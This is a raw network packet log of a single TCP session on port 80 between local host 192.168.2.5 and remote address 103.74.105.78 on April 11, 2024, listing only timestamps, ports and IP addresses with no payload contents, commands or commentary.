Apr 11, 2024 10:39:57.857969046 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857976913 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857992887 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857994080 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.858011961 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.858027935 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.858031988 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.858043909 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.858061075 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.858077049 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.858086109 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.858094931 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.858113050 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.858129025 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.858134985 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.858148098 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.858165026 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.858169079 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.858184099 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.858208895 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.858222961 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.858230114 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.858268023 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.858289957 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.901935101 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.901992083 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.902066946 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.193412066 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193473101 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193490028 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193510056 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193547964 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193564892 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193581104 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193617105 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193633080 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193649054 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193670988 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.193684101 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193711042 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193731070 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.193732977 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193758011 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193758011 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.193775892 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193794966 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193804979 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.193857908 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193864107 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.193893909 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193917990 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193937063 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193941116 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.193960905 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.193985939 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.193991899 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194009066 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194034100 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194039106 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.194060087 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194077969 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.194086075 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194102049 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194117069 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194132090 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.194133043 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194150925 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194156885 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.194170952 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194197893 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194200039 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.194226027 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194250107 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194251060 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.194269896 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194291115 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194293976 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.194329977 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194331884 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.194355965 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194372892 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194387913 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194399118 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.194412947 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194427967 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194433928 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.194444895 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194459915 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194470882 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.194479942 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194495916 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194505930 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.194514036 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194530010 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194542885 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.194545984 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194561958 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194570065 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.194580078 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194596052 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194612980 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194622993 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.194628954 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194645882 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194652081 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.194663048 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194679976 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.194680929 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.194703102 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.237860918 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.237889051 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.237993956 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.533584118 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.533611059 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.533627033 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.533683062 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.533704042 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.533720970 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.533740044 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.533756971 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.533773899 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.533792019 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.533833981 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.533833981 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.533834934 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.533834934 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.533848047 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.533865929 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.533885002 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.533902884 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.533915043 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.533920050 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.533936024 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.533937931 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.533956051 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.533962011 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.533972979 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534001112 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534029961 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534037113 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534048080 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534065008 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534099102 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534116983 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534117937 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534133911 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534151077 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534153938 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534169912 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534185886 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534193039 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534202099 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534219027 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534236908 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534240007 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534254074 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534269094 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534271002 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534291983 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534296989 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534317970 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534332991 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534334898 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534349918 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534367085 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534369946 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534384012 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534395933 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534403086 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534420013 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534435987 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534446001 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534452915 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534468889 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534476995 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534486055 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534502983 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534518957 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534519911 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534535885 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534545898 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534554005 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534570932 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534585953 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534588099 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534607887 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534624100 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534638882 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534641027 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534658909 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534670115 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534677982 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534698009 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.534722090 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.534753084 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.870106936 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870136023 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870153904 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870191097 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870201111 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.870215893 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870237112 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.870243073 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870277882 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870287895 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.870295048 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870313883 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870331049 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870336056 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.870352983 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870374918 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.870383978 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870409012 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870424032 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.870424032 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870452881 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870465040 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.870484114 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870501995 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870522976 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.870527983 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870552063 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870568037 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870569944 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.870598078 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870611906 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.870626926 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870644093 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870666981 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.870667934 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870686054 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870707035 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.870719910 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870744944 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870764971 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.870769024 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870796919 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870815039 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.870820045 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870836973 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870860100 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.870865107 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870894909 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870906115 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.870923996 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870942116 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870963097 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.870966911 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.870995045 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871007919 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.871022940 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871052980 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871062994 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.871078014 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871094942 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871110916 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871115923 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.871129990 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871146917 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871155024 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.871185064 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871192932 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.871208906 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871227026 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871243954 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871248007 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.871275902 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871288061 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.871292114 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871309996 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871332884 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.871339083 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871356010 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871372938 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871386051 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.871387959 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871404886 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871414900 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.871423960 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871440887 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871457100 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871470928 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.871474981 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:58.871500015 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:58.871521950 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.206059933 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206093073 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206120014 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206136942 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206142902 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.206155062 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206171989 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206182957 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.206190109 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206207991 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206211090 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.206226110 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206243038 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206270933 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.206307888 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.206367016 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206386089 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206403017 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206438065 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.206464052 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206490040 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206505060 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206511021 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.206533909 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206554890 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206588030 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206610918 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206634045 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206650019 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206686020 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206707954 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.206712961 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206737995 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206760883 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206772089 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.206777096 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206794024 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206818104 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.206825972 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206840992 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.206844091 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206859112 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206867933 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206883907 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206917048 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206944942 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.206948996 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.206970930 CEST	49705	80	192.168.2.5	103.74.105.78
